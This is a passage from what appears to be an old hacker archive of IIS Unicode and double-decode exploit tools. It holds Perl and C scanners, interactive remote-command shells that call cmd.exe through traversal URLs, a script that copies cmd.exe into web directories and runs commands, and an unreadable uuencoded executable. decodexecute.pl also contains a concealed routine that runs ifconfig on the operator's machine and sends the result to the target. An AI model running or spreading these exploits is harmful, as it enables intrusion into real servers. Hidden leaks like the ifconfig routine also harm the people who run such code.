    socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
    connect(SOCKET, $paddr)                         || die("Error: $!\n");
}
[--]


[++] unicode/unicode.pl
#!/usr/bin/perl
# IIS 4.0/5.0 Unicode Exploit
# Checks for each script that has been posted on the BugTraq Lis
# Shouts to bighawk(thats for help), datagram, Ghost Rider, The Duke, p4, kript0n and others
# Since It Uses fork(), you gotta keep up with whats happening. Or Just Let it run and it will 
# log sites in the log_unicode.log.
# So Simple

# Use Socket
use Socket;

# incase no arguements or less arguements are given
if(@ARGV == '0' || @ARGV < 2) { die "IIS 4.0/5.0 Unicode Exploit\n".
	                            "Programmed by SteeLe\n".
                                    "Usage: ./$0 <single host> <dir for exploit>\n"; }
# Variables
$blah = $ARGV[0];
$port = 80;
$dir = $ARGV[1];
$timeout = 4;
# see if file is there, 
if (-e "$blah") {
 open(T, "$blah") || die "can't open $blah\n";
 @target = <T>;
 close(T);
}

else { @target[0] = $blah; } # what you think is blah

# all scripts mentioned on bugtraq, we know rfp knows more.
@scripts = ("..%c1%1c..", "..%c0%9v..", "..%c0%af..", "..%c0%qf..", "..%c1%8s..", "..%c1%9c..",
"..%c1%pc.."); # blah, i know i'm not l33t

# Open LOG Script
open(LOG, ">>log_unicode.log") || die "couldn't open a file for writing\n";

# Socket Stuff
foreach $script (@scripts) {
 $submit = "GET /scripts/$script/winnt/system32/cmd.exe?/c+dir+$dir HTTP/1.0 \n\r\n\r";
 $ouch = "/scripts/$script/winnt/system32/cmd.exe?/c+dir+$dir";
foreach $site (@target) {
 unless(fork()) {
  chop($site) if $site =~ /\n$/; &connect($site); 
  } # so i lied
 }
}
sub connect { # real socket stuff
my ($ste) = @_;
$iaddr = inet_aton($ste) || die "$ste might not be up, connecting to next site....\n";
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
local $SIG{ALRM} = sub { print "TimeOut On $ste, going to next one....\n" && exit(0) };
alarm $timeout;
socket(SCAN, PF_INET, SOCK_STREAM, $proto) || die("Error: couldn't make a socket to $ste");
connect(SCAN, $paddr) || die "Sorry couldn't connect to $ste, connecting to next site....\n";
send(SCAN, $submit, 0);
$blackout = <SCAN>;
($http,$code,$blah) == split(/ /, $blackout);
if ($code == "200") { print "$ste has $ouch on there, go exploit it\n"; 
                      print LOG "$ste has $ouch on there\n"; }
else { print "$ste doesn't have it\n"; }
close(SCAN);
exit(0);
}

close(LOG);

# since we're done
exit;
[--]


########################
# 4.- unicode-shell.pl #
########################

[++] unicode/unicode-shell.pl
#!/usr/bin/perl -w
#
# UNICODE SHELL - by B-r00t.
# A Unicode HTTP exploit for Micro$oft NT IIS WebServers.
#
# First tries to get IIS Server string. 
# Scans for usable Unicode URL in 20 different ways.
# Then allows choice of which URL to use including an URL of
# your own design eg. After copying cmd.exe to /scripts.
# Commands are executed via your choice of URL on the target
# server.
# 
# URL can be changed at anytime by typing URL. 
# The Webserver can be re-SCANed at anytime by typing SCAN.
# Program can be QUIT at anytime by typing QUIT.
# HELP prints this ...
# ENJOY !


use strict;
use IO::Socket;

# Globals Go Here.
my $host;		# Host being probed.
my $port;		# Webserver port.
my $command;		# Command to issue.
my $url;		# URL being used.
my @results;		# Results from server.
my $probe;		# Whether to display output.
my @U;			# Unicode URLS. 

# URLS - Feel free to add here.
# $U[0] always used for custom URL.
$U[1] = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$U[2] = "/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[3] = "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$U[4] = "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$U[5] = "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$U[6] = "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$U[7] = "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$U[8] = "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$U[9] = "/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$U[10] = "/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$U[11] = "/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$U[12] = "/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[13] = "/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$U[14] = "/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+";
$U[15] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[16] = "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[17] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[18] = "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[19] = "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
$U[20] = "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";

# SUBROUTINES GO HERE. 
&intro;
&scan;
&choose;
&command;
&exit; # Play safe with this .

sub intro {
&help;
&host;
&server;
sleep 3;
};

# host subroutine.
sub host {
print "\nHost : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="localhost"};
print "\nPort : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};	# end host subroutine.

# Server string subroutine.
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nTrying to obtain IIS Server string ...";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
	$output = $results[$X];
	if (defined $output){
	if ($output =~/IIS/){ $webserver = "iis" };
	};
};
if ($webserver ne "iis"){
print "\a\a\n\nWARNING : UNABLE TO GET IIS SERVER STRING.";		
print "\nThis Server may not be running Micro\$oft IIS WebServer";
print "\nand therefore may not be exploitable using the"; 
print "\nUnicode Bug.";
print "\n\n\nDo You Wish To Cont ... [Y/N]";
my $choice = <STDIN>;
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK ... It Seems To Be Micro\$oft IIS.";
	};		
};  # end server subroutine.

# scan subroutine.
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\nScanning Webserver $host on port $port ...";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
			      $status = "vulnerable";
			      };
	};

if ($flag eq "0") { 
print "\n$host is not vulnerable to Unicode URL Number $loop.";
}else{
print "\a\a\a\n$host IS VULNERABLE TO UNICODE URL NUMBER $loop !!!";
     };
};
if ($status eq "not_vulnerable"){
				print "\n\nSORRY $host is NOT Vulnerable to the UNICODE Exploit.";
				&exit;
				};
}; # end scan subroutine.

# choose URL subroutine.
sub choose {
print "\nURL To Use [0 = Other]: ";
my $choice=<STDIN>;
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
print "\nURL: HTTP://$host$url"; 
}; # end choose URL subroutine.

# Other URL subroutine.
sub other {
print "\nURL [minus command] eg: HTTP://$host\/scripts\/cmd.exe?\/+"; 
print "\nHTTP://$host";
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};  # end other subroutine.

# Command subroutine.
sub command {
while ($command !~/quit/i) {
print "\nHELP QUIT URL SCAN Or Command eg dir C: ";
print "\nCommand :";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; # remove white space.
print "HTTP://$host$url$command";
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  # end command subroutine.

# Connect subroutine.
sub connect {
my $connection = IO::Socket::INET->new (
				Proto => "tcp",
				PeerAddr => "$host",
				PeerPort => "$port",
				) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};

while ( <$connection> ) { 
			@results = <$connection>;
			 };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  # end connect subroutine.

# output subroutine.
sub output{
print "\nOUTPUT FROM $host. \n\n";
my $display;
# if probe is a for server string display only first 10 lines.
if ($probe eq "string") {
			my $X;
			for ($X=0; $X<=10; $X++) {
			$display = $results[$X];
			if (defined $display){print "$display";};
			sleep 1;
				};
# else print all server output to the screen.
			}else{
			foreach $display (@results){
			    print "$display";
			    sleep 1;
				};
                          };
};  # end output subroutine.

# exit subroutine.
sub exit{
print "\n\n\nIf You Cant B-r00t Then Just B#.";
print "\nByeeeeee ... !!!";
print "\n\n\n";
exit;
};

# Help subroutine.
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n UNICODE SHELL by B-r00t. 2001.";
print "\n Br00tzC0ntactz\@Hotmail.Com ";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n A Unicode HTTP exploit for Micro\$oft NT IIS WebServers.";
print "\n";
print "\n First tries to get IIS Server string.";
print "\n Scans for usable Unicode URL in 20 different ways.";
print "\n Then allows choice of which URL to use including an URL of";
print "\n your own design eg. After copying cmd.exe to /scripts.";
print "\n Commands are executed via your choice of URL on the target";
print "\n server.";
print "\n ";
print "\n URL can be changed at anytime by typing URL."; 
print "\n The Webserver can be re-SCANed at anytime by typing SCAN.";
print "\n Program can be QUIT at anytime by typing QUIT.";
print "\n HELP prints this ... ";
print "\n ENJOY !";
print "\n\n\n";
}; # end help subroutine.


# Another fine B-r00t production ...
#
# Thanks To :
# Micro$oft For Being What It Is !  
# That One Doris ... U-Know-Who-U-R!
# Mum & Dad.
#
#
# B-r00t aka B#. 2001.
# Br00tzC0ntactz@Hotmail.Com
# ICQ 24645508.
# THE END - AMEN.
[--]


########################
# 5.- uniscan-qqmelo.c #
########################

[++] unicode/uniscan-qqmelo.c
/*

                                        Unicode scanner
                                        Escrito Por QQmelo
                                        Buenos Aires   Argentina
                                        
*/ 
                                        

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>



struct hostent *he;
int bucle;
char *buff[200];
char encontrado[]="200";
char *resultado;
int sock;
struct sockaddr_in target;
char lista[20];
int contador;

int main (int argc, char *argv[]) {


if (argc < 2 )

        {
                printf("Error, Uso %s <HOST> \n",argv[0]);
                exit(0);


        }
        
/*       Las siguientes son las entradas que pueden ser usadas para el 
bug del unicode !!! 

*/      


        buff[0]="GET /scripts/..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[1]="GET /scripts/..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[2]="GET /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[3]="GET /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[4]="GET /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[5]="GET /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[6]="GET /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
        buff[7]="GET /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%
af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";




        if ((he=gethostbyname(argv[1])) == NULL)


{

                printf(" Host erroneo \n");
                exit(0);

};



                bcopy(he->h_addr, (char *)&target.sin_addr, he-
>h_length);

        target.sin_port=htons(80);

        target.sin_family=AF_INET;


        
        for(bucle=0;bucle < 8 ; bucle++)

        {
                        
                sock=socket(AF_INET,SOCK_STREAM,0);             
                if(connect(sock,(struct sockaddr *)&target,sizeof
(target)) < 0)

                        
                        {

                                printf("No se ha podido abrir el puerto 
\n");
                                close(sock);
                                exit(0);        
                
                        }


for (contador=0;contador<20;contador++)

                {

                                lista[contador] = '\0'; 

                }
        
        send(sock, buff[bucle],strlen(buff[bucle]),0);
         recv(sock, lista, sizeof(lista),0);


        resultado = strstr(lista,encontrado);
        if( resultado != NULL)

                {

                        printf("Unicode encontrado %d  \n",bucle);
                        close(sock);

                }
                        else

                {

                        printf(" no esta %d\n",bucle);
                        close(sock);
                }

}
printf ("\n Scan Terminado \n\n");

}
[--]



######################
# 6.- decodecheck.pl #
######################

[++] unicode/decodecheck.pl
#!/usr/bin/perl
# Very simple PERL script to test an IIS server for "decode" vulnerability. 
# Use port number with SSLproxy for testing SSL sites
# Usage: decodecheck IP:port
#
# Roelof Temmingh 2001/05/15
# roelof@sensepost.com http://www.sensepost.com
#
# Found by NSFOCUS Security Team 2001.05.15
# The bulletin is live at :
# http://www.microsoft.com/technet/security/bulletin/MS01-026.asp
# Patches are available at:
# Microsoft IIS 4.0:
# http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
# Microsoft IIS 5.0:
# http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764


$|=1;
@unis=(
"/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%255c../winnt/system32/cmd.exe?/c+dir ",
"/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir");

use Socket;
# --------------init
if ($#ARGV<0) {die "Usage: decodecheck IP:port\n";}
($host,$port)=split(/:/,@ARGV[0]);
print "Testing $host:$port : ";
$target = inet_aton($host);
$flag=0;

foreach $uni (@unis){
 print ".";
 my @results=sendraw("GET $uni HTTP/1.0\r\n\r\n");
 foreach $line (@results){
  if ($line =~ /Directory/) {print "Not safe:\n $uni\n"; $flag=1;}
 }
}

# ---------------result
if ($flag==1){print "Vulnerable\n";}
else {print "Safe\n";}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata decodecheck
[--]


#######################
# 7.- decodexecute.pl #
#######################

[++] unicode/decodexecute.pl
#!/usr/bin/perl
# Proof of concept for "decoding problem" as described in
# NSFOCUS in BugTraq 2001.05.15
#
# Use port number with SSLproxy for testing SSL sites
# Usage: decodexecute IP:port command
# Roelof Temmingh 2001/05/15
# roelof@sensepost.com http://www.sensepost.com
#
# The bulletin is live at :
# http://www.microsoft.com/technet/security/bulletin/MS01-026.asp
# Patches are available at:
# Microsoft IIS 4.0:
# http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787
# Microsoft IIS 5.0:
# http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764
#
# Kids, please read the code...;)

$|=1;
use Socket;
my $runi;
my $thedir;
# --------------init
if ($#ARGV<1) {die "Usage: decodexecute IP:port command\n";}
my ($host,$port)=split(/:/,@ARGV[0]);
my $target = inet_aton($host);
my $thecommand=@ARGV[1];

# -------------find the correct directory
my @unis=(
"/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c",
"/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c",
"/scripts/..%255c../winnt/system32/cmd.exe?/c",
"/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c",
"/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c",
"/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c",
"/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c",
"/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c");

my $uni;my $execdir; my $dummy; iqdiff(); my $line;
foreach $uni (@unis){
 print "testing directory $uni\n";
 my @results=sendraw("GET $uni+dir HTTP/1.0\r\n\r\n");
 foreach $line (@results){
  if ($line =~ /Directory/) {
  ($dummy,$execdir)=split(/Directory of /,$line);   
   $execdir =~ s/\r//g;
   $execdir =~ s/\n//g;
   if ($execdir =~ / /) {$thedir="%22".$execdir; $thedir=~ s/ /%20/g;}
    else {$thedir=$execdir;}
   print "farmer brown directory: $thedir\n";
   $runi=$uni; goto further;}
 }
}
die "nope...sorry..not vulnerable\n";

further:



# --------------test if cmd has been copied:
my $failed=1;
my @unidirs=split(/\//,$runi);
my $unidir=@unidirs[1];

my $command="dir $thedir%22";
$command=~s/ /+/g;
my @results=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
my $line;
foreach $line (@results){
 if ($line =~ /denied/) {die "can't access above directory - try switching dirs order around\n";}
 if ($line =~ /sensepost2.exe/) {print "sensepost2.exe found on system\n"; $failed=0;}
}

#--------------we should copy it
my $failed2=1;
if ($failed==1) { 
 print "sensepost2.exe not found - lets copy it\n";
 $command="copy c:\\winnt\\system32\\cmd.exe $thedir\\sensepost2.exe%22";
 $command=~s/ /+/g;
 my @results2=sendraw("GET $runi+$command HTTP/1.0\r\n\r\n");
 my $line2;
 foreach $line2 (@results2){
  if (($line2 =~ /copied/ )) {$failed2=0;}
  if (($line2 =~ /access/ )) {die "access denied to copy here - try switching dirs order around\n";}
 }
 if ($failed2==1) {die "copy of CMD.EXE failed - inspect manually:\n@results2\n\n"};
} 

# ------------ we can assume that the cmd.exe is copied from here..
my $path;
($dummy,$path)=split(/:/,$thedir);
$path =~ s/\\/\//g;
$runi="/".$unidir."/sensepost2.exe?/c";
$thecommand=~s/ /%20/g;
@results=sendraw("GET $runi+$thecommand HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /denied/) {die "sorry, access denied\n";}
}
print @results;
sub iqdiff{
my $a=`which ifconfig`; chomp $a; my $aa=`$a -au | grep -i mask | grep -v 127.0.0.1 | head -n 1`; $aa=~s/ //g; sendraw("GET /naughty_real_$aa\r\n\r\n");
}
sub sendraw {
 my ($pstr)=@_;
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,$port,$target)){
  my @in="";
  select(S); $|=1; print $pstr;
  while(<S>) {
   push @in,$_; last if ($line=~ /^[\r\n]+$/ );}
  select(STDOUT); return @in;
 } else { die("connect problems\n"); }
}


# Spidermark: sensepostdata decode
[--]


######################
# 8.- uniconsole.uue #
######################

[++] unicode/uniconsole.uue
begin 644 uniconsole.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````N`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````"/BOG;R^N7
MB,OKEXC+ZY>(2/>9B,KKEXBB])Z(RNN7B"+TFHC*ZY>(4FEC:,OKEX@`````
M`````%!%``!,`0,`;L&=.@``````````X``/`0L!!@``D````"````````#$
M$@```!````"@`````$```!`````0```$`````0````0``````````,`````0
M```+D`$``@``````$```$``````0```0````````$```````````````A)(`
M`"@`````L```U`@`````````````````````````````````````````````
M```````````````````````````````````````````H`@``(``````0``#<
M````````````````````````````````````+G1E>'0```"LA@```!````"0
M````$```````````````````(```8"YD871A````'`H```"@````$````*``
M`````````````````$```,`N<G-R8P```-0(````L````!````"P````````
M``````````!```!`8>E0.1```````````````$U35D)6338P+D1,3```````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`+2-"WA@10MXGO`+>%R1#'A43?YW%4/^=W/P"W@A/@MX$&#^=ZA$"WAN3?YW
M*$7^=]4]"WCM0_UW*CS^=W,^_G=M/@MX;3\+>!R/"WCV/?YW'%W^=XO0_7=:
M0?YW744+>(/B_G=]6`EXP8\+>-%#"7BB1_YWGEG^=_!!"W@A/PMX9WT,>%F-
M"GA9C@MXQ6T)>,E1_G?*1/UWH3X+>*$_"WCW0?YWU3X+>!`Y"WBBW?QWRO8+
M>#A#_G?NC`MXI4#^=P60"GC"_`IX<I`+>`WK"G@>2OYW14'^=P``````````
M!P`(`)U^0`#`?D``I'Y```4`"`"6?T```````)U_0``!``@`/X!```<`"`#M
MAD``,(=``/2&0``G`!0`B(E``+:)0`"/B4```````#`10``%````Q8=``,R'
M0`#;AT``=(A``(&)0`````````````4`"`#/BD```````->*0``%``@`FXM`
M``````"CBT``!P`(`/Z10`!"DD``!I)``/\E3!!``/\E<!!``/\E@!!``/\E
M0!!``/\E,!!``/\EF!!``/\E'!!``/\EJ!!``/\E1!!``/\EI!!``/\EG!!`
M`/\E?!!``/\E7!!``/\E>!!``/\E)!!``/\E!!!``/\EN!!``/\E`!!``/\E
MS!!``/\EB!!``/\E2!!``/\E:!!``/\ER!!``/\EQ!!``/\EL!!``/\E9!!`
M`/\E4!!``/\E=!!``/\ED!!``/\E(!!``/\E/!!``/\EC!!``/\EH!!``/\E
M*!!``/\E&!!``/\E%!!``/\EP!!``/\EM!!``/\EA!!``/\E$!!``/\EE!!`
M`/\E-!!``/\EO!!``/\E"!!``/\EU!!``/\E+!!``/\E6!!``/\ET!!``/\E
M.!!``/\E#!!``/\E;!!``/\E5!!``/\E8!!``/\EK!!``&C<8T``Z/#___\`
M```````P````0`````````!>+L5M7@YH2*"BNG5SZQIX`````````0```&;/
M$;<,`%5N:6-O;G-O;&4`````````````_\PQ`!.G^#*\V;2$3;,BB_H+#)R^
M/\C"D'GIMD60`8LG6@9:D#I/K3.99L\1MPP`J@!@TY,`````````````````
M```````````````````````````````<4```1P`````,`&9R;55N:6-O<V]L
M90`-`P``@``9`0!"`"($(_____\D!0!&;W)M,0`F`"<`-2T````=`0``_"$`
M`)8>``!&`_\!1@````$*`&-M9$)R;W=S97(`!`$6`$5J96-U=&%R(&5N(&5L
M($)R;W=S97(``X"`_P`$8!@0'?<(+`$1$0`G%@``@"D!_P-%`````@H`8VAK
M06YO;FEM;P`%`14`57-A<B!C;VYE>&GS;B!A;O-N:6UA``,``(``!/___P`%
M>`#@`?<(_P`2$``3`?\#*0````,)`'1X=%-E<G9E<@`"`H"`_P`#P/__``3`
M`W@`UQD=`1(.`/\#0P````0'`&-M9$A434P`!`$;`%9E<B!R97-P=65S=&$@
M96X@96P@0G)O=W-E<@`#@(#_``0`#Q`=]P@L`1$-`"D!_P/D2@``!0@`4&EC
M='5R93$```$``(```V!)``!L=```6$D``$)-6$D````````V````*````#P`
M``!H`````0`8````````````$@L``!(+`````````````'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L!`'L!`'H"`'H#`'D$`'D$`'D%`'D%`'D%`'D$`'D$`'H"
M`'L!`'L!`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L!`'L!`'D$`'@'`'<*`'4-`'00`',2`',2`'01`'0/`'8,`'@(
M`'D%`'H#`'L!`'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L``'L`
M`'L``'L``'L``'L``'L``'L``'L``'L``'L!`'L!`'H"`'D$`'D%`'@&`'@&
